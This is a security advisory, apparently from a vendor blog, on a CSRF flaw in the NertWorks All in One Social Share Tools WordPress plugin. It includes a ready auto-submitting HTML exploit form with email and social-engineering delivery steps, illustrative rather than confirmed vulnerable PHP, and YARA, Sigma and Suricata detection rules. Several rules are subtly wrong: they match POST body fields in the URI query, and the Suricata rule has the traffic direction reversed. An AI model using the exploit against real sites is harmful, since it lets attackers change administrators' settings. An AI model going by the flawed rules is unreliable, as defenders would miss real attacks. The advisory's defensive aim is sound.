CVE-2025-31447

Executive Summary

CVE-2025-31447 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the NertWorks All in One Social Share Tools WordPress plugin, version 1.26 and earlier. This vulnerability allows an attacker to trick an authenticated administrator into performing unintended actions, such as changing plugin settings or injecting malicious configurations, without their consent. The attack requires user interaction (clicking a crafted link) and has a CVSS score of 5.4 (Medium). As a WordPress plugin vulnerability, it is part of the WordPress ecosystem and does not involve Apache or Nginx server software.

Supply Chain & Package Security

This vulnerability is in a WordPress plugin distributed via the WordPress plugin repository. No official patch is available, and the vendor has not responded. Users should consider this a supply chain risk, as the plugin may be abandoned. No NPM, PyPI, Go, or Ruby packages are involved.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: Low

The threat level is Medium due to the requirement for user interaction and the limited impact on integrity and availability. However, in a WordPress context, a CSRF attack could lead to privilege escalation or site defacement if combined with other vulnerabilities.

Deep Dive & Mechanics

The vulnerability exists in the nertworks-all-in-one-social-share-tools plugin, which fails to implement proper CSRF tokens or nonces on administrative actions. An attacker can craft a malicious HTML page or email that, when visited by an authenticated WordPress admin, triggers a state-changing request (e.g., modifying plugin settings, adding malicious social share buttons, or injecting JavaScript). The plugin does not validate the origin of the request, allowing cross-origin attacks.

The core issue is the absence of a CSRF nonce in the plugin's admin forms and AJAX handlers. WordPress provides built-in functions like wp_nonce_field() and check_admin_referer() to prevent CSRF, but the plugin does not use them.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current state. A patched version would include nonce verification.

Vulnerable Code (example from plugin admin page):

// Vulnerable: No nonce check
if ( isset( $_POST['save_settings'] ) ) {
    update_option( 'nertworks_social_share_options', $_POST['options'] );
}

Patched Code (hypothetical):

// Patched: Nonce verification added
if ( isset( $_POST['save_settings'] ) && wp_verify_nonce( $_POST['_wpnonce'], 'nertworks_save_settings' ) ) {
    update_option( 'nertworks_social_share_options', $_POST['options'] );
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Install WordPress with the vulnerable plugin (version 1.26) on a local server.
2. Craft Exploit: Create an HTML page that auto-submits a form to the WordPress admin URL:

<html>
<body>
<form action="http://target/wp-admin/admin.php?page=nertworks-settings" method="POST">
  <input type="hidden" name="save_settings" value="1">
  <input type="hidden" name="options[malicious]" value="true">
  <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

3. Deliver: Send the link to an authenticated admin via email or social engineering.
4. Result: The admin's browser sends the request, changing plugin settings without their knowledge.

Blue Team (Detection & Defense)

1. Monitor: Look for unexpected POST requests to /wp-admin/admin.php with parameters related to the plugin.
2. Harden: Implement CSRF protection by adding nonces to all admin forms.
3. User Training: Educate admins not to click suspicious links while logged into WordPress.
4. WAF Rules: Block requests to /wp-admin/admin.php with missing or invalid nonces.

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin.php with page=nertworks-settings and no _wpnonce parameter.
• File: Modified plugin options in the wp_options table (option name: nertworks_social_share_options).
• Log: WordPress debug log entries showing unexpected settings changes.
• Behavior: Plugin settings changed without admin interaction.

Detection Engineering

YARA Rule

rule CVE_2025_31447_CSRF_WordPress {
    meta:
        description = "Detects vulnerable NertWorks All in One Social Share Tools plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-31447"
    strings:
        $vuln_func = "update_option( 'nertworks_social_share_options'" nocase
        $no_nonce = "if ( isset( \$_POST['save_settings'] ) )" nocase
    condition:
        $vuln_func and $no_nonce
}

Sigma Rule

title: CVE-2025-31447 CSRF Exploitation Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects CSRF attempts against NertWorks All in One Social Share Tools
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin.php'
        cs-uri-query|contains: 'page=nertworks-settings'
        cs-uri-query|contains: 'save_settings'
    condition: selection
falsepositives:
    - Legitimate admin actions
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-31447 CSRF Attempt - NertWorks Social Share Tools";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/wp-admin/admin.php";
    http.uri; content:"page=nertworks-settings";
    http.uri; content:"save_settings";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate: Disable the plugin until a patch is available.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block requests to /wp-admin/admin.php with page=nertworks-settings that lack a valid nonce.
3. Long-term: Replace the plugin with an alternative that is actively maintained and has proper CSRF protection.
4. Code Fix: If you maintain the plugin, add nonce verification using wp_nonce_field() and check_admin_referer().
5. User Education: Train WordPress admins to recognize phishing attempts and avoid clicking suspicious links while logged in.

Valters IT